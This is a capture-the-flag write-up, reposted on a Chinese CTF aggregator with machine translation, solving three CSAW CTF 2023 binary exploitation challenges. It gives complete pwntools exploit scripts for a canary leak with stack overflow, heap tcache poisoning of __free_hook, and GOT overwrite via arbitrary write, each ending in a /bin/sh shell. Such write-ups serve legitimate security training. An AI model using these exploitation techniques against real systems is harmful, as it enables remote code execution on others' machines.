CSAW CTF 2023 Writeup

WriteUp 7个月前 admin
324 0 0
From leaking canary to Heap tcache poisoning
从泄漏的金丝雀到堆缓存中毒

Intro 介绍

I competed on CSAW CTF 2023, and I solved multiple challenges e.g. from pwn, incident response and reverse engineering. In this post I will explain more about the pwn category which I previously solved all the 3 challenges on this category.
我参加了 CSAW CTF 2023 的比赛,并解决了来自 pwn、事件响应和逆向工程的多重挑战。在这篇文章中,我将解释更多关于 pwn 类别的信息,我之前解决了这个类别的所有 3 个挑战。

CSAW CTF 2023 Writeup

List of challenges 挑战清单

  • unlimited subway 无限地铁
  • Super Secure Heap 超级安全堆
  • double zer0 dilemma 双泽0困境

Unlimited Subway 无限地铁

Binary info: 二进制信息:

unlimited_subway: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a91c8ae32dffbdc3a706e70158ae362900e2b4de, for GNU/Linux 3.2.0, with debug_info, not stripped 

Canary                        : ✓
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

Solver 求解

In this challenge a binary is provided for further assessment. After analyzing the binary, I found a buffer overflow on exit functional which allowed user to set their own size and input the data to stack.
在此挑战中,提供了一个二进制文件以供进一步评估。在分析二进制文件后,我发现了退出功能的缓冲区溢出,允许用户设置自己的大小并输入要堆叠的数据。

CSAW CTF 2023 Writeup

The binary has canary protection and I need to leak the canary value first. At this point I found out that the view function have arbitrary read memory which allowed an access to read the canary value from the binary as long we know the index of the canary value.
二进制文件具有金丝雀保护,我需要先泄漏金丝雀值。在这一点上,我发现视图函数具有任意读取内存,只要我们知道金丝雀值的索引,它就允许访问从二进制文件中读取金丝雀值。

int __cdecl view_account(int a1, int a2)
{
  return printf("Index %d : %02x\n", a2, *(unsigned __int8 *)(a2 + a1));
}

Since the function leaked only 1 byte each time it gets called, we need to leak the canary which have 4 bytes length, then we can trigger the buffer overflow and overwrite the canary and %eip to print_flag which give us the flag we’re looking. Here are the full exploit details of that challenge
由于该函数每次被调用时仅泄漏 1 个字节,因此我们需要泄漏具有 4 个字节长度的金丝雀,然后我们可以触发缓冲区溢出并覆盖金丝雀, %eip print_flag 并给我们正在寻找的标志。以下是该挑战的完整漏洞利用详细信息

from pwn import *

r = process("./share/unlimited_subway")

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : [email protected]
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("./share/unlimited_subway")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def fill(data):
    r.sendlineafter(b"> ",b"F")
    r.sendlineafter(b"Data :",str(data))

def view(idx):
    r.sendlineafter(b"> ",b"V")
    r.sendlineafter(b"Index :",str(idx))
    return r.recvline().split()[3]

def done(size, payload):
    r.sendlineafter(b"> ",b"E")
    r.sendlineafter(b"Name Size :",str(size))
    r.sendlineafter(b"Name :",(payload))

def exploit(r):
    attach(r)
    fill("ARSALAN")
    canary_leak = b"0x"

    canary_leak += (view(131))
    canary_leak += (view(130))
    canary_leak += (view(129))
    canary_leak += (view(128))

    canary_leak = (int(canary_leak,16))
    log.info("canary_leak: " + hex(canary_leak))

    p = b""
    p += b"A" * 44
    p += b"AAAA" * 5
    p += p32(canary_leak)
    p += p32(0x0804900e)
    p += p32(0x8049304) 

    done(2000, p)
    r.interactive()



if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("pwn.csaw.io", 7900)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

CSAW CTF 2023 Writeup

Super Secure Heap 超级安全堆

Binary info: 二进制信息:

super_secure_heap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ab5b212ea5cca28863c19afbc5887a6da6ceec3, for GNU/Linux 3.2.0, not stripped

Canary                        : ✓
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full

Solver 求解

In this challenge we’re given a binary that contains use after free vulnerability. The binary have a function called secure_stuff and it will encrypt the string before inserted to heap segment. But if we input data to key our input will not be encrypted.
在这个挑战中,我们得到了一个包含漏洞的 use after free 二进制文件。二进制文件有一个调用 secure_stuff 的函数,它将在插入堆段之前加密字符串。但是,如果我们输入数据到密钥,我们的输入将不会加密。

__int64 __usercall set@<rax>(__int64 a1@<rbp>, __int64 a2@<rdi>, __int64 a3@<rsi>)
{
  __int64 result; // rax
  unsigned int v4; // [rsp-18h] [rbp-18h]
  signed int v5; // [rsp-10h] [rbp-10h]
  unsigned int v6; // [rsp-Ch] [rbp-Ch]
  __int64 v7; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v7 = a1;
  sub_1100("Enter the item you want to modify:");
  result = read_int("Enter the item you want to modify:");
  v4 = result;
  if ( (signed int)result <= 9 )
  {
    if ( (_DWORD)a3 )
    {
      sub_1100("Enter the key number you want to use to securely store the content with:");
      v5 = read_int("Enter the key number you want to use to securely store the content with:");
      if ( v5 >= 0 && v5 <= 9 && keys[v5] )
      {
        sub_1100("Enter the size of the content:");
        v6 = read_int("Enter the size of the content:");
        if ( (signed int)v6 >= *(_DWORD *)(a2 + 4 * ((signed int)v4 + 20LL)) )
        {
          result = sub_1130("Invalid size.", a3);
        }
        else
        {
          sub_1100("Enter the content:");
          sub_1140(0LL, *(_QWORD *)(a2 + 8LL * (signed int)v4), (signed int)v6);
          result = secure_stuff(v4, (unsigned int)v5, v6);
        }
      }
      else
      {
        result = sub_1100("Invalid key.");
      }
    }
    else
    {
      sub_1100("Enter the size of the content:");
      if ( (signed int)read_int("Enter the size of the content:") >= *(_DWORD *)(a2 + 4 * ((signed int)v4 + 20LL)) )
      {
        result = sub_1130("Invalid size.", a3);
      }
      else
      {
        sub_1100("Enter the content:");
        result = sub_1140(
                   0LL,
                   *(_QWORD *)(a2 + 8LL * (signed int)v4),
                   *(signed int *)(a2 + 4 * ((signed int)v4 + 20LL)));
      }
    }
  }
  return result;
}

the delete function will only check the index and will not check whether the index is allocated or not. This function can be used to trigger use after free vulnerability.
该 delete 函数只会检查索引,不会检查索引是否已分配。此功能可用于触发 use after free 漏洞。

__int64 __usercall delete@<rax>(__int64 a1@<rbp>, __int64 a2@<rdi>, int a3@<esi>)
{
  __int64 result; // rax
  int v4; // [rsp-Ch] [rbp-Ch]
  __int64 v5; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v5 = a1;
  sub_1100("Enter the item you want to remove:");
  result = read_int("Enter the item you want to remove:");
  v4 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 9 )
  {
    result = free_10F0(*(_QWORD *)(a2 + 8LL * (signed int)result));
    if ( a3 == 1 )
    {
      *(_DWORD *)(a2 + 4 * (v4 + 20LL)) = 0;
      result = a2;
      *(_QWORD *)(a2 + 8LL * v4) = 0LL;
    }
  }
  return result;
}

now our goal is to leak the libc address. In order to leak the libc address we can allocate huge memory size then free the memory, the libc address will be stored inside heap chunks.
现在我们的目标是泄露 libc 地址。为了泄漏libc地址,我们可以分配巨大的内存大小,然后释放内存,libc地址将存储在堆块中。

CSAW CTF 2023 Writeup

now we can leak the libc address by adding new allocation and our new allocation will be pointed to libc address stored inside the heap chunks.
现在我们可以通过添加新分配来泄漏 libc 地址,我们的新分配将指向存储在堆块中的 libc 地址。

CSAW CTF 2023 Writeup

After I got the libc leak, our goal is to write __libc_system address to __free_hook and trigger the RCE by freeing the chunk that has /bin/sh string stored inside the heap. As I able to allocate memory for keys and content array, I can poison the tcache list by overwriting the fd or bk pointer to __free_hook address until it lists on tcache
在我得到libc泄漏后,我们的目标是通过释放堆中存储 /bin/sh 字符串的块来写入 __libc_system 地址 __free_hook 并触发RCE。由于我能够为键和内容数组分配内存,因此我可以通过覆盖指向地址的 __free_hook fd 或 bk 指针来毒害 tcache 列表,直到它在 tcache 上列出

CSAW CTF 2023 Writeup

now I have abritrary write memory and I can write __libc_system address on __free_hook . By allocating new memory on heap, it will automatically set our __free_hook address as a heap memory, then I modified the value using set function to trigger arbitrary write memory.
现在我有 abritrary 写入内存,我可以在 上 __free_hook 写入 __libc_system 地址。通过在堆上分配新内存,它会自动将我们的 __free_hook 地址设置为堆内存,然后我使用 function 修改 set 值以触发任意写入内存。

CSAW CTF 2023 Writeup

In order to finish exploit I triggered the __libc_system function by freeing a chunk which have /bin/sh string on it.
为了完成漏洞利用,我通过释放一个带有 /bin/sh 字符串的块来触发该功能 __libc_system 。

CSAW CTF 2023 Writeup

Here is my exploit code
这是我的漏洞利用代码

from pwn import *

# r = process("./super_secure_heap")

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : [email protected]
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="warning",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("./super_secure_heap")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* delete", "* add", "* set"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def keys_add(size):
    r.sendlineafter(">\n", "1")
    r.sendlineafter(">\n", "1")
    r.sendlineafter(":\n", str(size))

def keys_delete(idx):
    r.sendlineafter(">\n", "1")
    r.sendlineafter(">\n", "2")
    r.sendlineafter(":\n", str(idx))

def keys_modify(idx, size, content):
    r.sendlineafter(">\n", "1")
    r.sendlineafter(">\n", "3")
    r.sendlineafter(":\n", str(idx))
    r.sendlineafter(":\n", str(size))
    r.sendafter(":\n", (content))
    print("Modified with: " + str(content))

def keys_leak(idx):
    r.sendlineafter(">\n", "1")
    r.sendlineafter(">\n", "4")
    r.sendlineafter(":\n", str(idx))
    r.recvuntil("Here is your content:")
    x = r.recvline(8)
    x = r.recv(6)
    print("raw: " + str(x))
    return x.replace(b"\x0a",b'').replace(b"\x20",b'').replace(b"Do",b"")

def content_add(size):
    r.sendlineafter(">\n", "2")
    r.sendlineafter(">\n", "1")
    r.sendlineafter(":\n", str(size))

def content_delete(idx):
    r.sendlineafter(">\n","2")
    r.sendlineafter(">\n","2")
    r.sendlineafter("Enter the item you want to remove:\n", str(idx))
    print("removing-" + str(idx))

def content_modify(idx, key, size, content):
    r.sendlineafter(">\n", "2")
    r.sendlineafter(">\n", "3")
    r.sendlineafter(":\n", str(idx))
    r.sendlineafter(":\n", str(key))
    r.sendlineafter(":\n", str(size))
    r.sendafter(":\n", (content))

def exploit(r):
    attach(r)
    keys_add(3000)
    keys_add(3000)
    
    keys_delete(0)
    keys_delete(1)
    keys_add(33)
    keys_modify(0, 32, "B")
    libc = ELF("./libc.so.6")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc_leak = u64(keys_leak(0).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ecb42
    libc_free_hook = libc_base + libc.symbols['__free_hook']
    libc_system = libc_base + libc.symbols['system']
    libc_binsh = libc_base + next(libc.search(b"/bin/sh"))

    print("leak: ",hex(libc_leak))
    print("libc_base: ",hex(libc_base))
    print("__free_hook: ",hex(libc_free_hook))
    print("system: ", hex(libc_system))
    print("/bin/sh: ", hex(libc_binsh))

    content_add(20)
    content_add(20)
    content_add(20)
    content_add(20)

    content_delete(0)
    content_delete(1)
    content_delete(2)
    content_delete(3)
    
    keys_add(20)
    keys_add(20)
    keys_add(20)
    keys_add(20)
    content_add(20)
    content_add(20)
    content_add(20)
    keys_modify(3, "0", "/bin/sh")
    keys_modify(4, "0", "/bin/sh")
    keys_modify(2, "0", "/bin/sh")

    content_delete(0)
    content_delete(1)
    content_delete(2)
    keys_add(50)
    keys_add(50)
    keys_modify(0, "19", "/bin/sh\x00"*2)
    keys_modify(1, "19", "/bin/sh\x00"*2)
    keys_modify(2, "19", p64(libc_free_hook)*2)
    keys_modify(3, "19", p64(libc_free_hook)*2)
    keys_modify(4, "19", p64(libc_free_hook)*2) # tcache poisoned
    # content_delete(3)
    keys_add(20)
    keys_add(20)
    keys_modify(5, "19", p64(libc_free_hook)*2)
    keys_modify(8, "19", p64(libc_system))

    content_delete(3)
    
    
    


    r.interactive()



if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("pwn.csaw.io", 9998)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

run the exploit and we got the flag
运行漏洞利用,我们得到了标志
CSAW CTF 2023 Writeup

Double Zer0 Dilemma 双泽0困境

Binary Info 二进制信息

double_zer0_dilemma: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d0f73d6da7c5ff209f9b2a6b51a52f86448c97ec, for GNU/Linux 3.2.0, not stripped

Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

Solver 求解

In this challenge it was given several files (Dockerfile and binary), after I precisely read the Dockerfile I found out the Dockerfile that can disable the ASLR protection
在这个挑战中,它被提供了几个文件(Dockerfile 和二进制文件),在我精确阅读 Dockerfile 后,我发现了可以禁用 ASLR 保护的 Dockerfile

RUN sysctl kernel.randomize_va_space=0
sub_4010A0("Enter the number (0-36) you think the roulette will land on: ");
sub_4010F0("%d", &idx);
sub_4010A0("Enter the amount you want to wager: ");
sub_4010F0("%ld", &value);
bets[idx] += value;
if ( (unsigned int)rng() == idx )
{
  bets[idx] *= 36LL;
  result = sub_4010A0("Congrats! You won.");
}
else
{
  bets[idx] /= 2LL;
  result = sub_4010A0("Better luck next time! You lost.");
}

Now we have arbitrary write on the play function, but we have to set the correct address since the address will be added to the current address and dived with 2. Now our goal is to overwrite printf function and overwrite the value of 0x0808B090 with /bin/sh\x00 to obtain the RCE.
现在我们对 play 函数进行了任意写入,但我们必须设置正确的地址,因为该地址将被添加到当前地址并用 2 潜水。现在我们的目标是覆盖函数并覆盖 printf with /bin/sh\x00 的值 0x0808B090 以获得 RCE。

CSAW CTF 2023 Writeup

CSAW CTF 2023 Writeup

We need to align the address calculation first before sending the payload. Here’s my exploit code
在发送有效负载之前,我们需要先对齐地址计算。这是我的漏洞利用代码

from pwn import *

# r = process("./super_secure_heap")

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : [email protected]
'''
import sys
from pwn import *
from ctypes import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("./double_zer0_dilemma")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* play+169","* main+201", "* play+251"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    attach(r)
    cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
    libc.srand(libc.time(0))
    rv = libc.rand() % 37
    print(rv)

    # overwrite puts to system
    # change strings to '/bin/sh'
    value = (4702111234474983745)
    printf = 0x0000000000401040
    syste = 0x7ffff7e22290
    shot = 0xff341e610580
    # guess = ((syste * 2) - puts)
    # print(hex(guess))

    binsh = 0x0068732f6e69622f
    plain = 0x746f742072756f59

    r.sendlineafter(":","-12")
    r.sendlineafter(":",str(((binsh*2) - plain)))
    r.sendlineafter(":","-24")
    r.sendlineafter(":",str((((syste*2) - printf))))
    # r.sendline(str(rv))
    # r.sendline("$p"*900)
    r.interactive()


if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("double-zer0.csaw.io", 9999)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

run the exploit and we got the flag
运行漏洞利用,我们得到了标志

CSAW CTF 2023 Writeup

原文始发于tripoloski blog:CSAW CTF 2023 Writeup

版权声明:admin 发表于 2023年9月20日 上午9:00。
转载请注明:CSAW CTF 2023 Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...